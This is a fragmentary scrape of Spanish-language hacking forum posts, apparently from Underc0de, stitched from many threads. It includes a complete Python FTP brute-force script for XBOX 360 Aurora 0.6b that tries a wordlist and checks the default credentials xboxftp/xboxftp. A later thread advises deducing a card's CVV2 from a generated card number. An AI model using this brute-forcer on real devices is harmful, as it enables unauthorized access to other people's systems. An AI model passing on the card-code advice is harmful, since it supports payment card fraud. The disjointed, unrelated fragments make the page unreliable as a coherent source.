el modelo del arduino es el 1?
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

# Exploit Title: XBOX 360 Aurora 0.6b Default Credentials / FTP BruteForce
# Date: 20/12/2017
# Exploit Author: Daniel Godoy
# Vendor Homepage: http://phoenix.xboxunity.net/#/news
# Tested on: XBOX 360
# GREETZ: Iker Legorreta, #RemoteExecution Team



#!/usr/bin/env python
# -*- coding:utf-8 -*-

__author__ = 'Daniel Godoy'

import argparse
import sys
from ftplib import FTP

info = '''
XBOX 360 Aurora 0.6b Default Credentials / FTP BruteForce\n
Usage: ./xbox_ftp_brute_forcer.py [options]\n
Options: -t, --target    <hostname/ip>   |   Target\n
         -u, --user      <user>          |   User\n
         -w, --wordlist  <filename>      |   Wordlist\n
         -h, --help      <help>          |   print help\n

Example: ./xbox_ftp_brute_forcer.py -t 192.168.1.1 -u root -w
/root/Desktop/wordlist.txt
'''


def help():
    print info
    sys.exit(0)


def check_default_login(target):
    try:
        ftp = FTP(target)
        ftp.login('xboxftp', 'xboxftp')
        ftp.quit()
        print "\n[+] Default login is open."
        print "\n[+] Username : xboxftp"
        print "\n[+] Password : xboxftp\n"
        ftp.quit()
    except:
        pass


def ftp_login(target, username, password):
    try:
        ftp = FTP(target)
        ftp.login(username, password)
        ftp.quit()
        print "\n[*] Credentials have found."
        print "\n[*] Username : {}".format(username)
        print "\n[*] Password : {}".format(password)
        return True
    except:
        return False


def brute_force(target, username, wordlist):
    try:
        wordlist = open(wordlist, "r")
        words = wordlist.readlines()
        for word in words:
            word = word.strip()
            if ftp_login(target, username, word):
                break
    except:
        print "\n[-] There is no such wordlist file. \n"
        sys.exit(0)



parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target")
parser.add_argument("-u", "--username")
parser.add_argument("-w", "--wordlist")

args = parser.parse_args()

if not args.target or not args.username or not args.wordlist:
    help()
    sys.exit(0)

target = args.target
username = args.username
wordlist = args.wordlist

brute_force(target, username, wordlist)
check_default_login(target)
print "\n[-] Brute force finished. \n"

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
¿No hay manera de quitarlo?

Se repite dos veces, no son muchas, pero multiplica por cada vez que te metes en un tema meramente para revisar tu propia respuesta al topic.


¿Se podría hacer una encuesta al respecto?

Recuerdo que hay página previa al login del foro ande se podría plasmar.

Depende del navegador que uses podrias hacer una extension <div class="loader" style="display: none;"></div> que deje el loader siempre en none y listo.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Muy bueno tu teclado, lo compraste o fabricaste?

mi humilde entorno de trabajo 

Antes de subirlo con alguna licencia te diría que leas todas y te enteres para qué sirven. Cada una, subirlo sin licencia hace que sea de dominio público, y hacerla con una que no sabes que hace no es muy inteligente no? Pero en fin, es una recomendación solamente!

Tendrias que ver de restaurar el teléfono y crear una cuenta nueva de iCloud y listo xD, empiezas a instalar con tu cuenta y no pasa nada, siempre y cuando el teléfono no haya sido bloqueado por icloud.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

supongo que debe ser un apk, probaste con desempaquetarlo y ver que trae? burpsuite te puede ayudar.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Pues añade los espacios..
"palabra" => ' palabra '

MagoAstral tan solo ha demostrado el concepto.

Si, se que lo demostró por eso dije que no estaba del todo bien, estaba por publicar una solución como la de whiz pero dije, mejor que lea un poco de como resolverlo, se le mostró la punta del ovillo

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Hola LionSec, la verdad es que es una cosa muy sencilla te recomiendo que eches un ojo a un manual básico de python.
El script seria:

#!/usr/bin/env python
# coding: utf-8

texto = """tu texto estaría por aquí 
esto es un ejemplo de texto caracola
Underc0de hola caracola"""

for lineas in texto.splitlines():
     if "caracola" in lineas:
            print lineas

Bueno esto es todo se auto entiende si tienes cualquier duda comentala.
Un saludo

No creo que este del todo bien ese codigo, ya que si por ejemplo en el codigo tuviesemos que buscar la palabra sol, pero  figuren por ejemplo "solos", "solitario", "soldados" por nombrar algun ejemplo, igual las imprimira.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
La unica forma es recuperar o hacer clonacion del chip para la verificacion

Es mucho mas fácil. No hace falta, hasta se pueden tener 2 instancias abiertas con el mismo whatsapp...

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Eso es muy viejo ya, es raro que alguien no filtre el contenido del upload. O que al usar un framework no este incluida la seguridad.
En fin. Saludos.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

donde dice 10.0.0.0 pone la ip que desees. con ese codigo podrias luego hacer en alugn lenguaje un parser para que solo devuelva los nombres de dominois limpio.

hace casi un año publique algo sobre este juego







You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Hola quisiera saber la manera de protegerme de este tipo de ataques en linux en windows el bitdefender en cuanto me hacen un ataque me lo detecta al tiro y me lo bloquea pero en linux no me dice nada se deja infectar a si que quiero saber si hay alguna tool algo

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Compañero como dice ANTRAX, le recomiendo que investigue mucho,antes de romper algo debe conocer como funcionan las cosas!
No hay programas magicos que resuelvan la vida, y si lo hubiese, no se deberia decir hacking... Ya que el hacking es un arte, y quedamos pocos artistas.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
como saber el codigo de seguridad?
el año y eso?

No revivas temas antiguos.

La regla 9 dice:

[9] Se prohíbe responder en temas antiguos si no es por una causa justificable. Considerando antiguo los pasados 120 días desde la última respuesta.

Y la ultima respuesta habia sido:
« en: Noviembre 04, 2014, 02:46:35 am »

Por lo que no tiene nada de malo que haya escrito en este post.

frost117, investiga sobre el algoritmo CVC, CVV y CVV2 y ahi sabrás como deducirlo a partir de la CC generada

Saludos!
ANTRAX

Eso que dice ANTRAX servía hace 8 años atras mas o menos cucuando el cvv2 era una composición y sumatoria de 3 números de la tarjeta. Ahora se genera de otra forma y creo ( al menos yo no se) es forma pseudo aleatoria que se genera. Un saludo

wow van a cambiar el mundo, y se acabara el terrorismo seguramente. No se quien es mas patetico, anonymous, o los que le hacen caso y se hacen eco de sus pavadas..